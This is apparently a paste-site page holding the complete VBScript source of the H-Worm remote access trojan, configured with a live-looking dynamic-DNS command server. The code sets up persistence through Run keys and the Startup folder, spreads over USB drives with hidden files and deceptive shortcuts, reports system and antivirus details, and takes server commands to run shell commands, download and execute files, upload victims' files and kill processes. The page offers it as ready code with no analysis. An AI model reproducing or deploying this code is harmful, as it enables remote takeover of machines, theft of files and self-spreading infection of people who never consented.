H-WORM
unknown
vbscript
2 years ago
13 kB
4
Indexable
host = "freshguys.ddnsking.com" port = 5674 installdir = "%temp%" lnkfile = False lnkfolder = False Dim shellobj Set shellobj = WScript.CreateObject("wscript.shell") Dim filesystemobj Set filesystemobj = CreateObject("scripting.filesystemobject") Dim httpobj Set httpobj = CreateObject("msxml2.xmlhttp") installname = WScript.scriptname startup = shellobj.specialfolders ("startup") & "\" installdir = shellobj.expandenvironmentstrings(installdir) & "\" If Not filesystemobj.folderexists(installdir) Then installdir = shellobj.expandenvironmentstrings("%temp%") & "\" spliter = "<" & "|" & ">" sleep = 5000 Dim response Dim cmd Dim param info = "" usbspreading = "" startdate = "" Dim oneonce On Error Resume Next instance While True install response = "" response = post ("is-ready","") cmd = Split (response,spliter) Select Case cmd (0) Case "excecute" param = cmd (1) execute param Case "update" param = cmd (1) oneonce.close Set oneonce = filesystemobj.opentextfile (installdir & installname ,2, False) oneonce.write param oneonce.close shellobj.run "wscript.exe //B " & Chr(34) & installdir & installname & Chr(34) WScript.quit Case "uninstall" uninstall Case "send" download cmd (1),cmd (2) Case "site-send" sitedownloader cmd (1),cmd (2) Case "recv" param = cmd (1) upload (param) Case "enum-driver" post "is-enum-driver",enumdriver Case "enum-faf" param = cmd (1) post "is-enum-faf",enumfaf (param) Case "enum-process" post "is-enum-process",enumprocess Case "cmd-shell" param = cmd (1) post "is-cmd-shell",cmdshell (param) Case "delete" param = cmd (1) deletefaf (param) Case "exit-process" param = cmd (1) exitprocess (param) Case "sleep" param = cmd (1) sleep = Eval (param) End Select WScript.sleep sleep WEnd subinstall On Error Resume Next Dim lnkobj Dim filename Dim foldername Dim fileicon Dim foldericon upstart For Each drive In filesystemobj.drives If drive.isready = True Then If drive.freespace > 0 Then If drive.drivetype = 1 Then filesystemobj.copyfile WScript.scriptfullname , drive.path & "\" & installname,True If filesystemobj.fileexists (drive.path & "\" & installname) Then filesystemobj.getfile(drive.path & "\" & installname).attributes = 2 + 4 End If For Each file In filesystemobj.getfolder( drive.path & "\" ).Files If Not lnkfile Then Exit For If InStr (file.name,".") Then If LCase (Split(file.name, ".") (UBound(Split(file.name, ".")))) <> "lnk" Then file.attributes = 2 + 4 If UCase (file.name) <> UCase (installname) Then filename = Split(file.name,".") Set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk") lnkobj.windowstyle = 7 lnkobj.targetpath = "cmd.exe" lnkobj.workingdirectory = "" lnkobj.arguments = "/c start " & Replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & Replace(file.name," ", chrw(34) & " " & chrw(34)) & "&exit" fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & Split(file.name, ".")(UBound(Split(file.name, "."))) & "\") & "\defaulticon\") If InStr (fileicon,",") = 0 Then lnkobj.iconlocation = file.path Else lnkobj.iconlocation = fileicon End If lnkobj.save() End If End If End If Next For Each folder In filesystemobj.getfolder( drive.path & "\" ).subfolders If Not lnkfolder Then Exit For folder.attributes = 2 + 4 foldername = folder.name Set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername & ".lnk") lnkobj.windowstyle = 7 lnkobj.targetpath = "cmd.exe" lnkobj.workingdirectory = "" lnkobj.arguments = "/c start " & Replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & Replace(folder.name," ", chrw(34) & " " & chrw(34)) & "&exit" foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") If InStr (foldericon,",") = 0 Then lnkobj.iconlocation = folder.path Else lnkobj.iconlocation = foldericon End If lnkobj.save() Next End If End If End If Next err.clear End Sub Sub uninstall On Error Resume Next Dim filename Dim foldername shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & Split (installname,".")(0) shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & Split (installname,".")(0) filesystemobj.deletefile startup & installname ,True filesystemobj.deletefile WScript.scriptfullname ,True For Each drive In filesystemobj.drives If drive.isready = True Then If drive.freespace > 0 Then If drive.drivetype = 1 Then For Each file In filesystemobj.getfolder ( drive.path & "\").files On Error Resume Next If InStr (file.name,".") Then If LCase (Split(file.name, ".")(UBound(Split(file.name, ".")))) <> "lnk" Then file.attributes = 0 If UCase (file.name) <> UCase (installname) Then filename = Split(file.name,".") filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" ) Else filesystemobj.deletefile (drive.path & "\" & file.name) End If Else filesystemobj.deletefile (file.path) End If End If Next For Each folder In filesystemobj.getfolder( drive.path & "\" ).subfolders folder.attributes = 0 Next End If End If End If Next WScript.quit End Sub Function post (cmd ,param) post = param httpobj.open "post","http://" & host & ":" & port & "/" & cmd, False httpobj.setrequestheader "user-agent:",information httpobj.send param post = httpobj.responsetext End Function Function information On Error Resume Next If inf = "" Then inf = hwid & spliter inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter Set root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") Set os = root.execquery ("select * from win32_operatingsystem") For Each osinfo In os inf = inf & osinfo.caption & spliter Exit For Next inf = inf & "plus" & spliter inf = inf & security & spliter inf = inf & usbspreading information = inf Else information = inf End If End Function Sub upstart () On Error Resume Next shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & Split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & Split (installname,".")(0), "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ" filesystemobj.copyfile WScript.scriptfullname,installdir & installname,True filesystemobj.copyfile WScript.scriptfullname,startup & installname ,True End Sub Function hwid On Error Resume Next Set root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") Set disks = root.execquery ("select * from win32_logicaldisk") For Each disk In disks If disk.volumeserialnumber <> "" Then hwid = disk.volumeserialnumber Exit For End If Next End Function Function security On Error Resume Next security = "" Set objwmiservice = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") Set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48) For Each objitem In colitems versionstr = Split (objitem.version,".") Next versionstr = Split (colitems.version,".") osversion = versionstr (0) & "." For x = 1 To UBound (versionstr) osversion = osversion & versionstr (i) Next osversion = Eval (osversion) If osversion > 6 Then sc = "securitycenter2" Else sc = "securitycenter" Set objsecuritycenter = GetObject("winmgmts:\\localhost\root\" & sc) Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0) For Each objantivirus In colantivirus security = security & objantivirus.displayname & " ." Next If security = "" Then security = "nan-av" End Function Function instance On Error Resume Next usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & Split (installname,".")(0) & "\") If usbspreading = "" Then If LCase ( Mid(WScript.scriptfullname,2)) = ":\" & LCase(installname) Then usbspreading = "true - " & Date shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & Split (installname,".")(0) & "\", usbspreading, "REG_SZ" Else usbspreading = "false - " & Date shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & Split (installname,".")(0) & "\", usbspreading, "REG_SZ" End If End If upstart Set scriptfullnameshort = filesystemobj.getfile (WScript.scriptfullname) Set installfullnameshort = filesystemobj.getfile (installdir & installname) If LCase (scriptfullnameshort.shortpath) <> LCase (installfullnameshort.shortpath) Then shellobj.run "wscript.exe //B " & Chr(34) & installdir & installname & Chr(34) WScript.quit End If err.clear Set oneonce = filesystemobj.opentextfile (installdir & installname ,8, False) If err.number > 0 Then WScript.quit End Function Sub sitedownloader (fileurl,filename) strlink = fileurl strsaveto = installdir & filename Set objhttpdownload = CreateObject("msxml2.xmlhttp" ) objhttpdownload.open "get", strlink, False objhttpdownload.send Set objfsodownload = CreateObject ("scripting.filesystemobject") If objfsodownload.fileexists (strsaveto) Then objfsodownload.deletefile (strsaveto) End If If objhttpdownload.status = 200 Then Dim objstreamdownload Set objstreamdownload = CreateObject("adodb.stream") With objstreamdownload .Type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close End With Set objstreamdownload = Nothing End If If objfsodownload.fileexists(strsaveto) Then shellobj.run objfsodownload.getfile (strsaveto).shortpath End If End Sub Sub download (fileurl,filedir) If filedir = "" Then filedir = installdir End If strsaveto = filedir & Mid (fileurl, InStrRev (fileurl,"\") + 1) Set objhttpdownload = CreateObject("msxml2.xmlhttp") objhttpdownload.open "post","http://" & host & ":" & port & "/" & "is-sending" & spliter & fileurl, False objhttpdownload.send "" Set objfsodownload = CreateObject ("scripting.filesystemobject") If objfsodownload.fileexists (strsaveto) Then objfsodownload.deletefile (strsaveto) End If If objhttpdownload.status = 200 Then Dim objstreamdownload Set objstreamdownload = CreateObject("adodb.stream") With objstreamdownload .Type = 1 .open .write objhttpdownload.responsebody .savetofile strsaveto .close End With Set objstreamdownload = Nothing End If If objfsodownload.fileexists(strsaveto) Then shellobj.run objfsodownload.getfile (strsaveto).shortpath End If End Sub Function upload (fileurl) Dim httpobj,objstreamuploade,buffer Set objstreamuploade = CreateObject("adodb.stream") With objstreamuploade .Type = 1 .open .loadfromfile fileurl buffer = .read .close End With Set objstreamdownload = Nothing Set httpobj = CreateObject("msxml2.xmlhttp") httpobj.open "post","http://" & host & ":" & port & "/" & "is-recving" & spliter & fileurl, False httpobj.send buffer End Function Function enumdriver () For Each drive In filesystemobj.drives If drive.isready = True Then enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter End If Next End Function Function enumfaf (enumdir) enumfaf = enumdir & spliter For Each folder In filesystemobj.getfolder (enumdir).subfolders enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter Next For Each file In filesystemobj.getfolder (enumdir).files enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter Next End Function Function enumprocess () On Error Resume Next Set objwmiservice = GetObject("winmgmts:\\.\root\cimv2") Set colitems = objwmiservice.execquery("select * from win32_process",,48) Dim objitem For Each objitem In colitems enumprocess = enumprocess & objitem.name & "|" enumprocess = enumprocess & objitem.processid & "|" enumprocess = enumprocess & objitem.executablepath & spliter Next End Function Sub exitprocess (pid) On Error Resume Next shellobj.run "taskkill /F /T /PID " & pid,7,True End Sub Sub deletefaf (url) On Error Resume Next filesystemobj.deletefile url filesystemobj.deletefolder url End Sub Function cmdshell (cmd) Dim httpobj,oexec,readallfromany Set oexec = shellobj.exec ("%comspec% /c " & cmd) If Not oexec.stdout.atendofstream Then readallfromany = oexec.stdout.readall ElseIf Not oexec.stderr.atendofstream Then readallfromany = oexec.stderr.readall Else readallfromany = "" End If cmdshell = readallfromany End Function
Editor is loading...